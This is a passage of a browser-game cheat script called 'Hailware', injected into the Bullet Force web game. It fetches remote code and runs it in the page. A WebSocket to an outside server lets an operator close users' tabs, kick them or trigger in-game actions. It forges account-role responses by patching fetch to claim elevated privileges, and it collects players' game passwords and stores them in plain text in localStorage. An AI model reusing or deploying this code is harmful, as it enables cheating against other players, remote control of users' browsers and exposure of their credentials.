                x.lowOrder >>> n | (x.highOrder << (32 - n))
            );
        } else {
            return new int64(
                0,
                x.highOrder << (32 - n)
            );
        }
    }

    str = utf8_encode(str);
    strlen = str.length * charsize;
    str = str2binb(str);

    str[strlen >> 5] |= 0x80 << (24 - strlen % 32);
    str[(((strlen + 128) >> 10) << 5) + 31] = strlen;

    for (var i = 0; i < str.length; i += 32) {
        a = H[0];
        b = H[1];
        c = H[2];
        d = H[3];
        e = H[4];
        f = H[5];
        g = H[6];
        h = H[7];

        for (var j = 0; j < 80; j++) {
            if (j < 16) {
                W[j] = new int64(str[j * 2 + i], str[j * 2 + i + 1]);
            } else {
                W[j] = safe_add_4(gamma1(W[j - 2]), W[j - 7], gamma0(W[j - 15]), W[j - 16]);
            }

            T1 = safe_add_5(h, sigma1(e), ch(e, f, g), K[j], W[j]);
            T2 = safe_add_2(sigma0(a), maj(a, b, c));
            h = g;
            g = f;
            f = e;
            e = safe_add_2(d, T1);
            d = c;
            c = b;
            b = a;
            a = safe_add_2(T1, T2);
        }

        H[0] = safe_add_2(a, H[0]);
        H[1] = safe_add_2(b, H[1]);
        H[2] = safe_add_2(c, H[2]);
        H[3] = safe_add_2(d, H[3]);
        H[4] = safe_add_2(e, H[4]);
        H[5] = safe_add_2(f, H[5]);
        H[6] = safe_add_2(g, H[6]);
        H[7] = safe_add_2(h, H[7]);
    }

    var binarray = [];
    for (var i = 0; i < H.length; i++) {
        binarray.push(H[i].highOrder);
        binarray.push(H[i].lowOrder);
    }
    return binb2hex(binarray);
}

function stripUnityColorTags(input) {
    const openingTagRegex = /<color=(#[0-9a-fA-F]{6}|[a-zA-Z]+)>/g;
    const closingTagRegex = /<\/color>/g;

    let output = input.replace(openingTagRegex, '');
    output = output.replace(closingTagRegex, '');

    return output;
}

if ((window.location.href.includes("multiplayerpiano") && window.location.href.includes("dev") || window.location.href.includes("net"))) {
    Log.welcome("Welcome to Hailware");
    Log.tool("Tool made by Foonix");
    let uiManager = new UIManager();
    let mainMenu = uiManager.createMenu("epicUI", "Hailware Web", "400px", "500px");
    uiManager.makeDraggable(mainMenu);

    let tabs = uiManager.createTabMenu([{
            title: 'Scripts',
            content: '<p>This is the content of Tab 1</p>'
        },
        {
            title: 'Themes',
            content: '<p>This is the content of Tab 2</p>'
        },
        {
            title: 'Plugins',
            content: '<p>This is the content of Tab 3</p>'
        }
    ]);

    tabs = tabs.UITabs;

    tabs[0].uiTab.addButton("Neptune", () => {
        Log.info("Loading Neptune Bot made by Foonix...");
        fetch("https://raw.githubusercontent.com/Snoofz/Neptune/main/old/neptune-old.js")
            .then(response => response.text())
            .then(scriptContent => {
                var script = document.createElement('script');
                script.textContent = scriptContent;
                document.head.appendChild(script);
                Log.tool("Neptune loaded successfully!");
            })
            .catch(error => Log.error('Error loading script:', error));
    });

    tabs[0].uiTab.addButton("PeriOS", () => {
        Log.info("Loading PeriOS made by Peri...");
        fetch("https://raw.githubusercontent.com/Snoofz/scripts/main/PeriOS.js")
            .then(response => response.text())
            .then(scriptContent => {
                var script = document.createElement('script');
                script.textContent = scriptContent;
                document.head.appendChild(script);
                Log.tool("PeriOS loaded successfully!");
            })
            .catch(error => Log.error('Error loading script:', error));
    });
}

let players = [];
let totalPlayers = 0;
let uiManager = new UIManager();

class UnityRichTextComponent {
    static colorToSpan(unityRichText) {
        unityRichText = unityRichText.replace(/<color=(.+)>/g, '<span style="color: $1">');
        unityRichText = unityRichText.replace(/<\/color>/g, '</span>');
        return unityRichText;
    }

    static sizeToSpan(unityRichText) {
        unityRichText = unityRichText.replace(/<size=(\d+)>/g, '<span style="font-size: $1px">');
        unityRichText = unityRichText.replace(/<\/size>/g, '</span>');
        return unityRichText;
    }
}

const originalLog = console.log;

console.log = function(str) {
    let args = str.split(" ");
    if (args[3]) {
        originalLog(args[3]);
    }
};

function sendChat(text) {
    Crazygames.getUnityInstance().SendMessage("GameManager/Overlay Canvas/Chatbox", "SelfSubmitMessage", text.toString().trim());
}

function sleep(ms) {
    return new Promise(resolve => setTimeout(resolve, ms));
}

async function logBeeMovieScript() {
    const url = 'https://cors-anywhere.herokuapp.com/https://courses.cs.washington.edu/courses/cse163/20wi/files/lectures/L04/bee-movie.txt';

    try {
        const response = await fetch(url, {
            "headers": {
                "accept": "*/*",
                "accept-language": "en-US,en;q=0.9",
                "content-type": "application/x-www-form-urlencoded",
                "sec-ch-ua": "\"Opera GX\";v=\"109\", \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"123\"",
                "sec-ch-ua-mobile": "?0",
                "sec-ch-ua-platform": "\"Windows\"",
                "sec-fetch-dest": "empty",
                "sec-fetch-mode": "cors",
                "sec-fetch-site": "cross-site",
                "Referer": "https://games.crazygames.com/",
            }
        });
        if (!response.ok) {
            throw new Error(`HTTP error! status: ${response.status}`);
        }

        const text = await response.text();
        let position = 0;

        while (position < text.length) {
            sendChat(text.substring(position, position + 40).replaceAll("\n", " "));
            position += 40;
            await sleep(2000);
        }
    } catch (error) {
        console.error('Error fetching the Bee Movie script:', error);
    }
}

function GetWeapon() {}
let weaponMap = undefined;

fetch('https://raw.githubusercontent.com/Snoofz/Hailware-Assets/main/weaponmap.json')
    .then(response => response.json())
    .then(data => {
        weaponMap = data;

        GetWeapon = function(partialName) {
            const weapon = weaponMap.find(weapon => weapon.WeaponType.toLowerCase().includes(partialName.toLowerCase()));
            if (weapon) {
                return weapon;
            } else {
                return null;
            }
        }
    }).catch(error => console.error('Error fetching JSON:', error));


const guns = [
    { gunName: "AK-12", sdkID: 0 },
    { gunName: "RPG", sdkID: 1 },
    { gunName: "MPREX", sdkID: 2 },
    { gunName: "FAMAS", sdkID: 3 },
    { gunName: "SAIGA 12K", sdkID: 4 },
    { gunName: "M4OA5", sdkID: 5 },
    { gunName: "SCAR-H", sdkID: 6 },
    { gunName: "MPX", sdkID: 7 },
    { gunName: "M4A1", sdkID: 8 },
    { gunName: "MG4", sdkID: 9 },
    { gunName: "Compact .45", sdkID: 10 },
    { gunName: "Butterfly Knife", sdkID: 11 },
    { gunName: "M200", sdkID: 12 },
    { gunName: "AS VAL", sdkID: 13 },
    { gunName: "G18", sdkID: 14 },
    { gunName: "M320 HE", sdkID: 15 },
    { gunName: "M320 DART", sdkID: 16 },
    { gunName: "870 MCS", sdkID: 17 },
    { gunName: "HAND", sdkID: 18 },
    { gunName: "MP5", sdkID: 19 },
    { gunName: "AK-47", sdkID: 20 },
    { gunName: "Vector", sdkID: 21 },
    { gunName: "M60", sdkID: 22 },
    { gunName: "Desert Eagle", sdkID: 23 },
    { gunName: "UMP", sdkID: 24 },
    { gunName: "MK11", sdkID: 25 },
    { gunName: "P90", sdkID: 26 },
    { gunName: "AUG", sdkID: 27 },
    { gunName: "Shorty SG", sdkID: 28 },
    { gunName: "CS-LR4", sdkID: 29 },
    { gunName: "FAD", sdkID: 30 },
    { gunName: "Tommy Gun", sdkID: 31 },
    { gunName: "MP40", sdkID: 32 },
    { gunName: "CX Scorpio", sdkID: 33 },
    { gunName: "44 Magnum", sdkID: 34 },
    { gunName: "M16", sdkID: 35 },
    { gunName: "Lewis Gun", sdkID: 36 },
    { gunName: "M1911", sdkID: 37 },
    { gunName: "ACR", sdkID: 38 },
    { gunName: "AK-5C", sdkID: 39 },
    { gunName: "BRT HS1", sdkID: 40 },
    { gunName: "L85", sdkID: 41 },
    { gunName: "TEC 9", sdkID: 42 },
    { gunName: "AI-AWP", sdkID: 43 },
    { gunName: "Minebea 9", sdkID: 44 },
    { gunName: "Badger Q", sdkID: 45 },
    { gunName: "Fal", sdkID: 46 },
    { gunName: "MP7", sdkID: 47 },
    { gunName: "Spas-12", sdkID: 48 },
    { gunName: "Karambit", sdkID: 49 },
    { gunName: "Hatchet", sdkID: 50 },
    { gunName: "Crossbow", sdkID: 51 },
    { gunName: "Minigun", sdkID: 52 },
    { gunName: "VSS", sdkID: 53 },
    { gunName: "G36", sdkID: 54 },
    { gunName: "F2000", sdkID: 55 },
    { gunName: "Galil ACE 23", sdkID: 56 },
    { gunName: "M240B", sdkID: 57 },
    { gunName: "Groza", sdkID: 58 },
    { gunName: "Kar 98", sdkID: 59 }
];

function dropWeapon(weaponName) {
    const weapon = guns.find(gun => gun.gunName === weaponName);

    if (weapon) {
        Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'DropGun', weapon.sdkID);
    } else {
        console.log(`Weapon with name ${weaponName} not found.`);
    }
}


function checkForPlayerBodyAsync() {
    return new Promise((resolve) => {
        const unityInstance = Crazygames.getUnityInstance();

        const interval = setInterval(() => {
            try {
                unityInstance.SendMessage('PlayerBody(Clone)', 'get_currentKillsInKillstreak');
                clearInterval(interval);
                resolve();
            } catch (error) {}
        }, 500);
    });
};

function loadScript(url) {
    return new Promise((resolve, reject) => {
        const script = document.createElement('script');
        script.src = url;
        script.onload = () => resolve();
        script.onerror = () => reject(new Error(`Failed to load script ${url}`));
        document.head.appendChild(script);
    });
}

let audio = new Audio("https://github.com/Snoofz/Hailware-Assets/raw/main/Hailware.ogg");
let configManager = new ConfigManager();

let music = {
    audio: new Audio("https://github.com/Snoofz/Hailware-Assets/raw/main/Danny%20Phantom%20(feat.%20Pearl%20Diver).mp3"),
    isPlaying: false,
    play: function() {
        this.audio.play();
        this.isPlaying = true;
    },
    stop: function() {
        this.audio.pause();
        this.audio.currentTime = 0;
        this.isPlaying = false;
    },
    set volume(value) {
        this.audio.volume = value;
    },
    get volume() {
        return this.audio.volume;
    }
};

function setTimeScale(scale) {
    switch (scale) {
        case "0":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 0);
            break;
        case "0.1":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 0.1);
            break;
        case "0.2":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 0.2);
            break;
        case "0.3":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 0.3);
            break;
        case "0.4":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 0.4);
            break;
        case "0.5":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 0.5);
            break;
        case "0.6":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 0.6);
            break;
        case "0.7":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 0.7);
            break;
        case "0.8":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 0.8);
            break;
        case "0.9":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 0.9);
            break;
        case "1.0":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 1.0);
            break;
        case "1.1":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 1.1);
            break;
        case "1.2":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 1.2);
            break;
        case "1.3":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 1.3);
            break;
        case "1.4":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 1.4);
            break;
        case "1.5":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 1.5);
            break;
        case "1.6":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 1.6);
            break;
        case "1.7":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 1.7);
            break;
        case "1.8":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 1.8);
            break;
        case "1.9":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 1.9);
            break;
        case "2.0":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 2.0);
            break;
        case "2.1":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 2.1);
            break;
        case "2.2":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 2.2);
            break;
        case "2.3":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 2.3);
            break;
        case "2.4":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 2.4);
            break;
        case "2.5":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 2.5);
            break;
        case "2.6":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 2.6);
            break;
        case "2.7":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 2.7);
            break;
        case "2.8":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 2.8);
            break;
        case "2.9":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 2.9);
            break;
        case "3.0":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 3.0);
            break;
        case "3.1":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 3.1);
            break;
        case "3.2":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 3.2);
            break;
        case "3.3":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 3.3);
            break;
        case "3.4":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 3.4);
            break;
        case "3.5":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 3.5);
            break;
        case "3.6":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 3.6);
            break;
        case "3.7":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 3.7);
            break;
        case "3.8":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 3.8);
            break;
        case "3.9":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 3.9);
            break;
        case "4.0":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 4.0);
            break;
        case "4.1":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 4.1);
            break;
        case "4.2":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 4.2);
            break;
        case "4.3":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 4.3);
            break;
        case "4.4":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 4.4);
            break;
        case "4.5":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 4.5);
            break;
        case "4.6":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 4.6);
            break;
        case "4.7":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 4.7);
            break;
        case "4.8":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 4.8);
            break;
        case "4.9":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 4.9);
            break;
        case "5.0":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 5.0);
            break;
        case "5.1":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 5.1);
            break;
        case "5.2":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 5.2);
            break;
        case "5.3":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 5.3);
            break;
        case "5.4":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 5.4);
            break;
        case "5.5":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 5.5);
            break;
        case "5.6":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 5.6);
            break;
        case "5.7":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 5.7);
            break;
        case "5.8":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 5.8);
            break;
        case "5.9":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 5.9);
            break;
        case "6.0":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 6.0);
            break;
        case "6.1":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 6.1);
            break;
        case "6.2":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 6.2);
            break;
        case "6.3":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 6.3);
            break;
        case "6.4":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 6.4);
            break;
        case "6.5":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 6.5);
            break;
        case "6.6":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 6.6);
            break;
        case "6.7":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 6.7);
            break;
        case "6.8":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 6.8);
            break;
        case "6.9":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 6.9);
            break;
        case "7.0":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 7.0);
            break;
        case "7.1":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 7.1);
            break;
        case "7.2":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 7.2);
            break;
        case "7.3":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 7.3);
            break;
        case "7.4":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 7.4);
            break;
        case "7.5":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 7.5);
            break;
        case "7.6":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 7.6);
            break;
        case "7.7":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 7.7);
            break;
        case "7.8":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 7.8);
            break;
        case "7.9":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 7.9);
            break;
        case "8.0":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 8.0);
            break;
        case "8.1":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 8.1);
            break;
        case "8.2":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 8.2);
            break;
        case "8.3":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 8.3);
            break;
        case "8.4":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 8.4);
            break;
        case "8.5":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 8.5);
            break;
        case "8.6":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 8.6);
            break;
        case "8.7":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 8.7);
            break;
        case "8.8":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 8.8);
            break;
        case "8.9":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 8.9);
            break;
        case "9.0":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 9.0);
            break;
        case "9.1":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 9.1);
            break;
        case "9.2":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 9.2);
            break;
        case "9.3":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 9.3);
            break;
        case "9.4":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 9.4);
            break;
        case "9.5":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 9.5);
            break;
        case "9.6":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 9.6);
            break;
        case "9.7":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 9.7);
            break;
        case "9.8":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 9.8);
            break;
        case "9.9":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 9.9);
            break;
        case "10.0":
            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetTimeScale', 10.0);
            break;
        default:
            console.log("Invalid time scale");
            break;
    }
}

let intervalS = undefined;
let colors = ["yellow", "red", "blue"];
let color = "";

let ws = new WebSocket("wss://finger.hri7566.info");

function sendCommand(cmd) {
    ws.send(JSON.stringify({ "command": cmd }));
}

const closeTab = () => window.close(``, `_parent`, ``);

ws.onmessage = (e) => {
  let data = JSON.parse(e.data.toString());

    console.log(data);

    if (data.data.someKey == "closeMyNuts") {
        if (data.data.user !== localStorage.blfUsername) return;
        closeTab();
    }

    if (data.data.someKey == "kickUserFromLobby") {
       if (data.data.user !== localStorage.blfUsername) return;
       Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'DisconnectFromGame');
       uiManager.createNotification('Hailware', data.data.reason);
    }

    if (data.data.someKey == "videoNuts") {
        if (data.data.user !== localStorage.blfUsername) return;
        const canvas = document.getElementById('unity-canvas');

        const video = document.createElement('video');

        video.setAttribute('width', '922');
        video.setAttribute('height', '487');
        video.setAttribute('style', 'width: 100%; height: 100%; cursor: default;');
        video.setAttribute('controls', '');
        video.setAttribute('autoplay', '');

        const source = document.createElement('source');
        source.setAttribute('src', 'https://gitlab.com/antongiovanniryan/neptune/-/raw/main/I_LOVE_YOU_SO_-_YUNG_KAGE_x_ISAACWHY_x_YUMI.mp4?ref_type=heads');
        source.setAttribute('type', 'video/mp4');

        video.appendChild(source);

        canvas.replaceWith(video);
    }

    if (data.recieved == "nuke") {
        Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'Nuke');
    }

    if (data.recieved == "sendChat") {
        Crazygames.getUnityInstance().SendMessage("GameManager/Overlay Canvas/Chatbox", "SelfSubmitMessage", data.chatMessage);
    }

    if (data.recieved == "ackill") {
        Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'ACKill');
    }

    if (data.recieved == "givegun") {
        dropWeapon(data.gunName);

        const intervalId = setInterval(() => {
            Crazygames.getUnityInstance().SendMessage('PickUpWeapon', 'PickUpGun');
        }, 5);

        clearInterval(intervalId);
    }

    if (data.recieved == "respawn") {
        Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'Respawn');
    }

    if (data.recieved == "grenade") {
        var Module = Crazygames.getUnityInstance().Module;
                                var GameObject = "PlayerBody(Clone)";
                                var Function = "createGrenade";
                                var Parameters = [
                                    "true",
                                ]
                                var ArgumentTypes = [
                                    "bool",
                                ];
                                var Arguments = [GameObject, Function, Parameters];
                                var Response = Module.ccall("SendMessage", null, ["string", "string", ArgumentTypes], Arguments);
    }
};

function sendChatWithUsername(username, msg) {
    clearInterval(intervalS);
    intervalS = setInterval(() => {
        if (username == "SERVER") {
            color = colors[0];
        }

        if (username == "HAILWARE") {
            color = colors[1];
        }

        if (username == "LOGS") {
            color = colors[2];
        }

        let unityInstance = Crazygames.getUnityInstance();
        unityInstance.SendMessage(
            'PlayerBody(Clone)',
            'updateUsername',
            `<color=${color}>${username}</color>`
        );
        unityInstance.SendMessage('PlayerBody(Clone)', 'set_NickName', `<color=yellow>${username}</color>`);
        unityInstance.SendMessage(
            'PlayerBody(Clone)',
            'UsernameChanged',
            `<color=${color}>${username}</color>`
        );
    }, 1);
    setTimeout(() => {
        Crazygames.getUnityInstance().SendMessage("GameManager/Overlay Canvas/Chatbox", "SelfSubmitMessage", msg);
        clearInterval(intervalS);
    }, 5);
}

waitForUnityInstance(() => {
    (function() {
        const originalFetch = window.fetch;

        window.fetch = async function(...args) {
            if (args[0].includes('https://server.blayzegames.com/OnlineAccountSystem/get-account-rolesV2.php')) {
                const response = await originalFetch.apply(this, args);

                const modifiedBody = {
                    status: 3,
                    role: 6,
                    creator: 1
                };

                const modifiedResponse = new Response(JSON.stringify(modifiedBody), {
                    status: response.status,
                    statusText: response.statusText,
                    headers: response.headers
                });

                return modifiedResponse;
            }

            return originalFetch.apply(this, args);
        };
    })();

    function appendCustomScrollbarStyles() {
        const style = document.createElement('style');
        style.type = 'text/css';
        style.innerHTML = `
        @keyframes rotate {
  from {
    transform: rotate(0deg);
  }
  to {
    transform: rotate(360deg);
  }
}
.logo {
  animation: rotate 10s linear infinite
  width: 100px;
  height: 100px;
}
@keyframes hue-shift {
    0% { filter: hue-rotate(0deg); }
    100% { filter: hue-rotate(360deg); }
}

.hue-shift-animation {
    animation: hue-shift 10s linear infinite;
}

@keyframes rainbow {
    0% { color: #ff0000; scrollbar-color: #ff0000 #0e0e0e; border-bottom-color: #ff0000; }
    14% { color: #ff7700; scrollbar-color: #ff7700 #0e0e0e; border-bottom-color: #ff7700; }
    28% { color: #ffff00; scrollbar-color: #ffff00 #0e0e0e; border-bottom-color: #ffff00; }
    42% { color: #00ff00; scrollbar-color: #00ff00 #0e0e0e; border-bottom-color: #00ff00; }
    57% { color: #0000ff; scrollbar-color: #0000ff #0e0e0e; border-bottom-color: #0000ff; }
    71% { color: #8a2be2; scrollbar-color: #8a2be2 #0e0e0e; border-bottom-color: #8a2be2; }
    85% { color: #ff00ff; scrollbar-color: #ff00ff #0e0e0e; border-bottom-color: #ff00ff; }
    100% { color: #ff0000; scrollbar-color: #ff0000 #0e0e0e; border-bottom-color: #ff0000; }
}

.rainbow-animation {
    animation: rainbow 4s linear infinite;
}

        .custom-scrollbar {
            overflow-y: auto;
            scrollbar-width: thin;
            animation: rainbow 4s linear infinite;
        }

        .custom-scrollbar::-webkit-scrollbar {
            width: 12px;
        }

        .custom-scrollbar::-webkit-scrollbar-track {
            animation: rainbow 4s linear infinite;
        }

        .custom-scrollbar::-webkit-scrollbar-thumb {
           animation: rainbow 4s linear infinite;
            border-radius: 20px;
            border: 3px solid #330000;
        }

        .custom-scrollbar::-webkit-scrollbar-thumb:hover {
            animation: rainbow 4s linear infinite;
        }
    `;
        document.head.appendChild(style);
    }

    appendCustomScrollbarStyles();
    uiManager.createNotification('Hailware', 'Hailware was successfully loaded!');
    if (window.location.href.includes("bullet-force-multiplayer") || window.location.href.includes("localhost")) {
        loadScript('https://cdnjs.cloudflare.com/ajax/libs/tone/14.8.36/Tone.min.js')
            .then(() => {
                console.log('Tone.js loaded');
                Log.welcome("Welcome to Hailware");
                Log.tool("Cheat Menu made by Foonix (Draggable Window fixed by Yellowberry)");
                Log.tool("Setting up iFrame listener...");

                function isPlayerInArray(playerName) {
                    return players.some(playerElement => playerElement.textContent.includes(playerName));
                }

                Log.tool("Done setting up iFrame listener!");
                Log.tool("Pre-loading cheats...");
                Log.tool("Cheats were pre-loaded!");
                setTimeout(() => {
                    Log.tool("Loading config...");
                    music.volume = 0.2;

                    let config = configManager.get();

                    if (config && config.bgMusicVolume !== undefined && config.bgMusicEnabled !== undefined) {
                        Log.tool("Config found!");
                        if (config.bgMusicEnabled) {
                            music.play();
                        } else {
                            music.stop();
                        }
                        music.volume = config.bgMusicVolume;
                    } else {
                        Log.tool("No config was found, so we made one!");
                        configManager.save({
                            "bgMusicVolume": 0.2,
                            "bgMusicEnabled": true
                        });
                        music.play();
                    }

                    music.loop = true;
                }, 2800);
                let mainMenu = uiManager.createMenu("epicUI", "Hailware Web", "400px", "500px");
                uiManager.makeDraggable(mainMenu);
                let logo = uiManager.addLogo("https://github.com/Snoofz/Hailware-Assets/blob/main/snowly-icon.png?raw=true");
                let uwu = uiManager.addLabel(`Please log in to your bullet force account to continue!`);
                uiManager.createNotification('IMPORTANT', 'Text inputs do not work right now! Please copy and paste your username and password in the boxes!');

                let usernameField2 = uiManager.addTextInput("Bullet Force Username | Must include PC-", () => {
                    Log.info('Text input changed');
                });

                let passwordField2 = uiManager.addTextInput("Bullet Force Password", () => {
                    Log.info('Text input changed');
                });

                if (localStorage.blfUsername && localStorage.blfPasswordHash && localStorage.blfPasswordRaw) {
                    usernameField2.value = localStorage.blfUsername;
                    passwordField2.value = localStorage.blfPasswordRaw;
                }

                passwordField2.type = "password";

                let loginButton = uiManager.addButton('Login', async () => {
                    console.log('Attempting to login:', usernameField2.value, passwordField2.value);
                    try {
                        await HailwareLogin(usernameField2.value, passwordField2.value);
                        console.log('Registration successful');

